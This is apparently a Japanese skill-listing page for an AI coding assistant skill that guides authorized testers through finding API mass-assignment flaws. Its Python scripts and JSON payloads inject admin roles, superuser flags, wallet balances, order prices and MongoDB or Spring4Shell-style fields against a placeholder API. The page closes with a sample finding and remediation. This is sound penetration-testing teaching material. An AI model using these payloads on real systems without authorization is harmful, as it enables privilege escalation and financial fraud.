testing-api-for-mass-assignment-vulnerability について
API のマスアサインメントを調べる、許可を得たセキュリティテスター向けのガイドです。クライアント指定のフィールドによる意図しない属性変更を対象に、特権フィールドの注入や状態変化の確認、フレームワーク別のテストを扱います。
主な機能
- 01書き込み可能な API エンドポイントの特定
- 02特権フィールド注入のテスト
- 03フィールドの永続化確認
- 04フレームワーク固有の形式への対応
- 05注文・財務フィールドの確認
活用シーン
- 01登録エンドポイントのロール項目の確認
- 02プロフィール更新の権限テスト
- 03注文価格を変更できるかの評価
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill testing-api-for-mass-assignment-vulnerabilityインストール後、Claude Code で/testing-api-for-mass-assignment-vulnerabilityを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
一括代入の脆弱性を検出するための API テスト
使用する場面
- ユーザープロフィールの更新、登録、またはオブジェクト作成のために、JSON/XML リクエストボディを受け付ける API エンドポイントをテストする場合
- 許可リストを使わず、API がクライアントから送信されたすべてのプロパティをデータモデルにバインドするかどうかを評価する場合
- ユーザーが通常の更新エンドポイントを通じて、権限のある属性(ロール、権限、価格、残高)を設定できるかどうかを評価する場合
- リクエストパラメーターをデータベースモデルに自動バインドする ORM を使って構築された API をテストする場合
- サーバー側の入力検証によって、ユーザーロールごとに書き込み可能なプロパティが制限されていることを検証する場合
書面による許可なしに使用しないでください。一括代入のテストでは、破壊的な結果を招く可能性のある方法でオブジェクトのプロパティを変更します。
前提条件
- 対象の API エンドポイントと範囲を明記した書面による許可
- 異なる権限レベルのテストアカウント
- 想定されるリクエストフィールドを特定するための API ドキュメントまたは OpenAPI 仕様
- リクエストの傍受とパラメーターの注入に使う Burp Suite Professional
requestsライブラリを備えた Python 3.10+- パラメーターのバインド動作を予測するためのバックエンドフレームワーク(Rails、Django、Express、Spring)の知識
ワークフロー
ステップ 1:書き込み可能なエンドポイントと想定されるパラメーターを特定する
import requests
import json
import copy
BASE_URL = "https://target-api.example.com/api/v1"
user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}
# Identify endpoints that accept write operations
writable_endpoints = [
{"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]},
{"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]},
{"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]},
{"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]},
{"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]},
{"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]},
{"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]},
{"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]},
]
# First, get the current user state as baseline
baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Baseline user state: {json.dumps(baseline_user, indent=2)}")
ステップ 2:権限のあるフィールドを注入する
# Fields that should never be user-writable
PRIVILEGE_FIELDS = {
"role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin",
"account_type": "admin", "accountType": "admin"},
"admin_flags": {"is_admin": True, "isAdmin": True, "admin": True,
"is_superuser": True, "isSuperuser": True, "superuser": True},
"permission_override": {"permissions": ["*"], "scopes": ["admin:*"],
"groups": ["administrators"], "roles": ["admin"]},
"account_status": {"is_active": True, "isActive": True, "verified": True,
"email_verified": True, "is_verified": True, "status": "active"},
"financial": {"balance": 99999.99, "credit": 99999, "discount": 100,
"price": 0.01, "amount": 0.01},
"ownership": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
"created_by": 1, "createdBy": 1},
"internal": {"internal_notes": "test", "debug": True, "hidden": False,
"is_deleted": False, "is_featured": True, "priority": 0},
"temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
"createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
}
def test_mass_assignment(endpoint_info):
"""Test a writable endpoint for mass assignment vulnerabilities."""
method = endpoint_info["method"]
path = endpoint_info["path"]
expected = endpoint_info["expected_fields"]
findings = []
# Build a valid base request
base_body = {}
for field in expected:
if field == "email":
base_body[field] = "[email protected]"
elif field == "password":
base_body[field] = "SecurePass123!"
elif field == "name":
base_body[field] = "Test User"
elif field == "items":
base_body[field] = [{"product_id": 1, "quantity": 1}]
else:
base_body[field] = "test_value"
# Test each category of privileged fields
for category, fields in PRIVILEGE_FIELDS.items():
test_body = {**base_body, **fields}
resp = requests.request(method, f"{BASE_URL}{path}",
headers=user_headers, json=test_body)
if resp.status_code in (200, 201):
# Verify if the fields were actually set
resp_data = resp.json()
for field_name, injected_value in fields.items():
actual = resp_data.get(field_name)
if actual is not None and str(actual) == str(injected_value):
findings.append({
"endpoint": f"{method} {path}",
"category": category,
"field": field_name,
"injected_value": injected_value,
"confirmed": True
})
print(f"[MASS ASSIGNMENT] {method} {path}: {field_name}={injected_value} accepted")
return findings
all_findings = []
for endpoint in writable_endpoints:
findings = test_mass_assignment(endpoint)
all_findings.extend(findings)
print(f"\nTotal mass assignment findings: {len(all_findings)}")
ステップ 3:状態変化を通じて代入を検証する
def verify_mass_assignment(field_name, injected_value, verification_endpoint="/users/me"):
"""Verify that the mass-assigned field actually persists in the database."""
# Re-fetch the object to confirm the field was saved
resp = requests.get(f"{BASE_URL}{verification_endpoint}", headers=user_headers)
if resp.status_code == 200:
current_state = resp.json()
actual_value = current_state.get(field_name)
if actual_value is not None:
match = str(actual_value) == str(injected_value)
print(f" Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED' if match else 'NOT MATCHED'}")
return match
return False
# Test role elevation via profile update
print("\n=== Role Elevation Test ===")
# Step 1: Check current role
me = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Current role: {me.get('role', 'unknown')}")
# Step 2: Attempt to set admin role
update_resp = requests.put(f"{BASE_URL}/users/me",
headers=user_headers,
json={"name": me.get("name", "Test"), "role": "admin"})
print(f"Update response: {update_resp.status_code}")
# Step 3: Verify if role changed
me_after = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Role after update: {me_after.get('role', 'unknown')}")
if me_after.get("role") == "admin":
print("[CRITICAL] Mass assignment: Role elevated to admin")
# Step 4: Test admin access
admin_resp = requests.get(f"{BASE_URL}/admin/users", headers=user_headers)
if admin_resp.status_code == 200:
print("[CRITICAL] Admin access confirmed after role elevation")
ステップ 4:フレームワーク固有のテスト
# Ruby on Rails / Active Record style
rails_payloads = [
{"user": {"name": "Test", "role": "admin", "admin": True}}, # Nested under model name
{"user[name]": "Test", "user[role]": "admin"}, # Form-style nested
]
# Django REST Framework style
django_payloads = [
{"username": "test", "is_staff": True, "is_superuser": True},
{"username": "test", "groups": [1]}, # Add to admin group by ID
]
# Express.js / Mongoose style
express_payloads = [
{"name": "test", "__v": 0, "_id": "000000000000000000000001"}, # Override MongoDB _id
{"name": "test", "$set": {"role": "admin"}}, # MongoDB operator injection
]
# Spring Boot / JPA style
spring_payloads = [
{"name": "test", "authorities": [{"authority": "ROLE_ADMIN"}]},
{"name": "test", "class.module.classLoader": ""}, # Spring4Shell style
]
# Test each framework-specific payload
for payload in rails_payloads + django_payloads + express_payloads + spring_payloads:
resp = requests.put(f"{BASE_URL}/users/me", headers=user_headers, json=payload)
if resp.status_code in (200, 201):
print(f"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}")
ステップ 5:注文および金融オブジェクトの一括代入
# Test price/amount manipulation in e-commerce APIs
print("\n=== Financial Mass Assignment Tests ===")
# Test 1: Create order with manipulated price
order_body = {
"items": [{"product_id": 42, "quantity": 1}],
"shipping_address": {"street": "123 Test St", "city": "Test City"},
# Injected fields
"total": 0.01,
"subtotal": 0.01,
"discount_percent": 100,
"coupon_code": "FREEORDER",
"shipping_cost": 0,
"tax": 0,
}
resp = requests.post(f"{BASE_URL}/orders", headers=user_headers, json=order_body)
if resp.status_code in (200, 201):
order = resp.json()
print(f"Order created - Total: {order.get('total', 'N/A')}, Discount: {order.get('discount_percent', 'N/A')}")
if float(order.get("total", 999)) < 1.0:
print("[CRITICAL] Price manipulation via mass assignment")
# Test 2: Modify order status
resp = requests.patch(f"{BASE_URL}/orders/1001",
headers=user_headers,
json={"status": "completed", "payment_status": "paid", "refund_amount": 0})
if resp.status_code == 200:
print(f"[MASS ASSIGNMENT] Order status/payment fields modified")
# Test 3: User balance manipulation
resp = requests.put(f"{BASE_URL}/users/me/wallet",
headers=user_headers,
json={"amount": 10, "balance": 99999.99, "currency": "USD"})
if resp.status_code == 200:
wallet = resp.json()
if float(wallet.get("balance", 0)) > 10000:
print("[CRITICAL] Wallet balance manipulation via mass assignment")
主な概念
| 用語 | 定義 |
|---|---|
| 一括代入 | API がクライアントから送信されたパラメーターをフィルタリングせずに内部オブジェクトのプロパティへ自動的にバインドし、意図しないフィールドを変更できてしまう脆弱性です |
| 自動バインド | HTTP リクエストのパラメーターをオブジェクトモデルの属性に直接対応付けるフレームワークの機能です。許可リストが設定されていない場合、一括代入が可能になります |
| 許可リスト(ホワイトリスト) | クライアントによる設定を API が明示的に許可するフィールドを記載したサーバー側のリストです。その他のすべてのパラメーターは拒否されます |
| 拒否リスト(ブラックリスト) | クライアントによる変更を API が明示的に禁止するフィールドを記載したサーバー側のリストです(許可リストより安全性が低くなります) |
| オブジェクトプロパティレベルの認可 | OWASP API3:2023 - ユーザーがアクセスを許可されたオブジェクトプロパティのみを読み書きできるようにすることです |
| DTO(データ転送オブジェクト) | 別のオブジェクトで許可する入力フィールドを定義し、API コントラクトを内部データモデルから切り離すパターンです |
ツールとシステム
- Burp Suite Professional:Repeater と Intruder を使用して書き込みリクエストを傍受し、追加のパラメーターを注入します
- Param Miner(Burp 拡張機能):リクエストボディとヘッダーをファジングして、隠れたパラメーターを自動的に検出します
- Arjun:API エンドポイントの隠れた HTTP パラメーターを検出するパラメーター検出ツールです
- OWASP ZAP:一括代入の検出に使うパラメーター注入機能を備えたアクティブスキャナーです
- Postman:注入したパラメーターを含むリクエストの作成とレスポンスの検証に使う API テストプラットフォームです
一般的なシナリオ
シナリオ:SaaS のユーザー登録におけるマスアサインメント
コンテキスト:ある SaaS プラットフォームでは、REST API を通じたユーザーのセルフ登録が可能です。登録エンドポイントは、名前、メールアドレス、パスワードを受け付けます。バックエンドでは、リクエストパラメーターを User モデルに自動バインドする ORM を使用しています。
アプローチ:
- 想定されるフィールドのみで新しいユーザーを登録します:
POST /api/v1/register {"name":"Test","email":"[email protected]","password":"Pass123!"}-role: "user"のユーザーが返されます - role を注入して別のユーザーを登録します:
POST /api/v1/register {"name":"Admin","email":"[email protected]","password":"Pass123!","role":"admin"}-role: "admin"のユーザーが返されます - 新しいアカウントで管理者用エンドポイントを呼び出し、管理者アクセスを確認します
- 追加フィールドをテストします:
is_verified: trueでメール認証を回避し、subscription_plan: "enterprise"でプレミアム機能を利用できます - プロフィール更新エンドポイントをテストします:
PUT /api/v1/users/me {"name":"Test","balance":99999}- ウォレット残高が変更されます
落とし穴:
- 「role」のような明らかなフィールドだけをテストし、「subscription_plan」、「credit_limit」、「verified」のようなドメイン固有のフィールドを見落とす
- 注入されたフィールドが実際に保存されたことを確認しない(API によっては、200 を返しても未知のフィールドを黙って無視する場合があります)
- 「role」をブロックリストに登録すればマスアサインメントを防げると思い込み、「isAdmin」、「is_admin」、「admin」なども機能する可能性を考慮しない
- 作成(POST)と更新(PUT/PATCH)の両方のエンドポイントをテストしない(フィルタリング方法が異なる場合があります)
user.roleやaddress.verifiedのようなフィールドを注入できる、ネストされたオブジェクトのマスアサインメントを見落とす
出力形式
## Finding: Mass Assignment Enables Role Elevation via Registration API
**ID**: API-MASS-001
**Severity**: Critical (CVSS 9.8)
**OWASP API**: API3:2023 - Broken Object Property Level Authorization
**Affected Endpoints**:
- POST /api/v1/register
- PUT /api/v1/users/me
- POST /api/v1/orders
**Description**:
The API binds all client-supplied JSON fields directly to the database model
without filtering. An attacker can include undocumented fields in registration
and update requests to elevate their role to admin, bypass email verification,
modify wallet balances, and manipulate order pricing.
**Proof of Concept**:
1. Register with injected role:
POST /api/v1/register
{"name":"Attacker","email":"[email protected]","password":"P@ss123!","role":"admin"}
Response: {"id":5001,"name":"Attacker","role":"admin","is_verified":false}
2. Update profile with injected balance:
PUT /api/v1/users/me
{"name":"Attacker","balance":99999.99}
Response: {"id":5001,"balance":99999.99}
3. Create order with manipulated price:
POST /api/v1/orders
{"items":[{"product_id":42,"qty":1}],"total":0.01}
Response: {"order_id":8001,"total":0.01}
**Impact**:
Any user can gain administrative access, manipulate financial data,
bypass security controls, and purchase products at arbitrary prices.
**Remediation**:
1. Implement DTOs/input schemas that explicitly define allowed fields per endpoint per role
2. Use framework-specific mass assignment protection (Rails: strong parameters, Django: serializer fields)
3. Never bind request parameters directly to the data model
4. Add integration tests that verify undocumented fields are rejected
5. Use an allowlist approach rather than blocklist for writable fields
コメント
Markdown 対応